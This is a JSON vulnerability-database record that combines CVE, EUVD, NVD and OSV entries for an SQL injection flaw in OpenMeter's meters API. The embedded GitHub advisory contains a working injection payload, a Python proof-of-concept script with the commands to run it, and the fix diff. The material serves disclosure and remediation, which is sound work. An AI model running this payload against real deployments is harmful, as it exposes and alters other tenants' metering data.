{"id":"GHSA-wc3v-3457-c8cm","revision":null,"records":[{"revision":"131b23728a914cf8bbd8e864ebe4392a","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-8462","aliases":[],"title":"OpenMeter SQL Injection in ClickHouse-backed Meter Definitions","description":"SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters\u00A0API.","state":0,"publishedAt":"2026-09-16T10:14:34.372+00:00","modifiedAt":"2026-09-16T17:46:37.602+00:00","affected":[{"ecosystem":"Vendor product","name":"openmeter","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"openmeter\",\n                    \"product\": \"openmeter\",\n                    \"versions\": [\n                        {\n                            \"status\": \"affected\",\n                            \"version\": \"1.0.0\",\n                            \"lessThan\": \"1.0.0-beta.228\",\n                            \"versionType\": \"git\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unaffected\"\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":8.9,"severity":"HIGH"}],"references":["https://github.com/openmeterio/openmeter/pull/4383"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-8462","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-8462","identifiers":["CVE-2026-8462"]},"retained":false,"historicalAffected":[]},{"revision":"03f21545562848d0b8e1a15afa6f466b","observedAt":"2026-11-11T17:01:29.51+00:00","statement":{"source":"euvd","id":"EUVD-2026-80392","aliases":["CVE-2026-8462","GHSA-wc3v-3457-c8cm"],"title":"SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, v…","description":"SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters\u00A0API.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":8.9,"severity":null}],"references":["https://github.com/openmeterio/openmeter/pull/4383"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-80392","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 16, 2026, 10:14:34 AM","dateUpdated":"Sep 16, 2026, 5:46:37 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-80392","identifiers":["EUVD-2026-80392","CVE-2026-8462","GHSA-wc3v-3457-c8cm"]},"retained":false,"historicalAffected":[]},{"revision":"6f84ef8496ec41d2ad378fc769048eb3","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-8462","aliases":[],"title":"SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, v…","description":"SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters\u00A0API.","state":0,"publishedAt":"2026-09-16T11:17:11.327+00:00","modifiedAt":"2026-09-18T19:07:38.32+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · 02762ae7-200e-4b20-9b2b-a77d5b8fc4cb · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.9,"severity":"HIGH"}],"references":["https://github.com/openmeterio/openmeter/pull/4383"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8462","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-89"],"productCriteria":[],"sourceDates":{"published":"2026-09-16T11:17:11.327","lastModified":"2026-09-18T19:07:38.320"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-8462","identifiers":["CVE-2026-8462"]},"retained":false,"historicalAffected":[]},{"revision":"52eac061467d408ba62d0b116f7ac6b6","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-wc3v-3457-c8cm","aliases":["CVE-2026-8462","GO-2026-5703"],"title":"OpenMeter: SQL injection through meter creation","description":"### Summary\n\nAn authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.\n\n### Details\n\n`openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`:\n\n```go\nsb.Select(fmt.Sprintf(\"JSON_VALUE('{}', '%s')\", sqlbuilder.Escape(d.jsonPath)))\n```\n\n`sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized.\n\nThe payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as \"invalid JSONPath\" and returns early — before the injected branch can execute.\n\nWorking payload:\n```\n$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --\n```\n\nGenerated SQL:\n```sql\nSELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'\n```\n\nFix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder:\n\n```diff\n-sb.Select(fmt.Sprintf(\"JSON_VALUE('{}', '%s')\", sqlbuilder.Escape(d.jsonPath)))\n+sb.Select(fmt.Sprintf(\"JSON_VALUE('{}', %s)\", sb.Var(d.jsonPath)))\n```\n\n### PoC\n\n`poc.py`:\n\n```python\nimport json, time, uuid\nfrom urllib.request import Request, urlopen\n\nSLEEP   = 3\nAPI     = \"http://localhost:48888\"\nPAYLOAD = f\"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --\"\n\ndef post_meter(value_property):\n    body = json.dumps({\n        \"slug\":          f\"poc_{uuid.uuid4().hex[:8]}\",\n        \"eventType\":     \"x\",\n        \"aggregation\":   \"SUM\",\n        \"valueProperty\": value_property,\n    }).encode()\n    req = Request(f\"{API}/api/v1/meters\", data=body,\n                  headers={\"Content-Type\": \"application/json\"}, method=\"POST\")\n    t0 = time.monotonic()\n    with urlopen(req, timeout=SLEEP + 10) as r:\n        return r.status, time.monotonic() - t0\n\n_, baseline = post_meter(\"$.tokens\")\nstatus, elapsed = post_meter(PAYLOAD)\n\nprint(f\"baseline : {baseline:.3f}s\")\nprint(f\"injected : {elapsed:.3f}s  (HTTP {status})\")\nprint(f\"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}\")\n```\n\n```shell\ndocker compose up -d\nuntil curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done\npython3 poc.py\n```\n\nExpected output:\n```\nbaseline : 0.036s\ninjected : 3.031s  (HTTP 200)\nresult   : sleep(3) CONFIRMED\n```\n\n### Impact\n\nSQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.\n\n### Attribution\nThis vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research","state":0,"publishedAt":"2026-06-04T18:39:52+00:00","modifiedAt":"2026-06-25T23:11:22.7115267+00:00","affected":[{"ecosystem":"Go","name":"github.com/openmeterio/openmeter","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.0.0-beta.228"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/openmeterio/openmeter/security/advisories/GHSA-wc3v-3457-c8cm","https://github.com/openmeterio/openmeter/pull/4383","https://github.com/openmeterio/openmeter/commit/6ce29e743165890c10346f4c71d5bf79f1ecaf6f","https://github.com/openmeterio/openmeter","https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228"],"sourceUrl":"https://github.com/advisories/GHSA-wc3v-3457-c8cm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wc3v-3457-c8cm","identifiers":["GHSA-wc3v-3457-c8cm","CVE-2026-8462","GO-2026-5703"]},"retained":false,"historicalAffected":[]},{"revision":"a3e23b88a4ce4b20a5174004228f247f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5703","aliases":["CVE-2026-8462","GHSA-wc3v-3457-c8cm"],"title":"OpenMeter: SQL injection through meter creation in github.com/openmeterio/openmeter","description":"OpenMeter: SQL injection through meter creation in github.com/openmeterio/openmeter","state":0,"publishedAt":"2026-06-25T22:34:38+00:00","modifiedAt":"2026-06-25T23:01:28.0285851+00:00","affected":[{"ecosystem":"Go","name":"github.com/openmeterio/openmeter","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.0.0-beta.228"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/openmeterio/openmeter/security/advisories/GHSA-wc3v-3457-c8cm","https://github.com/openmeterio/openmeter/commit/6ce29e743165890c10346f4c71d5bf79f1ecaf6f","https://github.com/openmeterio/openmeter/pull/4383","https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5703","license":"OSV · upstream source license applies","key":"osv:GO-2026-5703","identifiers":["GO-2026-5703","CVE-2026-8462","GHSA-wc3v-3457-c8cm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T03:19:40.5269590+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T03:19:40.526959+00:00","lastSuccessAt":"2026-11-13T03:19:40.6882289+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.688234+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-eec2a7b6fa103d7adf500db624fb62eee17c31f1d368f8ffbfab89234260d0bb","complete":true,"records":424956,"lastAttemptAt":"2026-11-13T04:16:36.7627787+00:00","lastSuccessAt":"2026-11-13T04:16:36.734253+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:16:36.7627787+00:00","snapshotPublishedAt":"2026-11-13T03:23:36+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7f404f09616a40578b159775b5b66635","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T03:29:27.9813623+00:00","lastSuccessAt":"2026-11-13T03:29:27.977+00:00","error":"370 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T03:29:27.977+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13369,"expectedIdentifiers":13846,"failedIdentifiers":370},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T03:19:40.5269590+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T03:19:40.526959+00:00","lastSuccessAt":"2026-11-13T03:19:40.6892892+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.6892894+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-99b329e58ea7441eaabf9a9af1bb4458","complete":true,"records":13781,"lastAttemptAt":"2026-11-13T03:19:48.7349646+00:00","lastSuccessAt":"2026-11-13T03:19:48.73+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:48.73+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T03:19:40.4671686+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.4671686+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T04:16:36.9142039+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:16:36.9142039+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T03:19:40.4889465+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.4889465+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-11714c374501e9f6ac09cc4e36bc0b50c7521131f606050aeabd7887ba2c0080","complete":true,"records":231743,"lastAttemptAt":"2026-11-13T04:16:43.2432178+00:00","lastSuccessAt":"2026-11-13T03:19:38.55958+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.3437235+00:00","snapshotPublishedAt":"2026-11-13T02:48:17+00:00","importing":true,"stagedRecords":169500,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}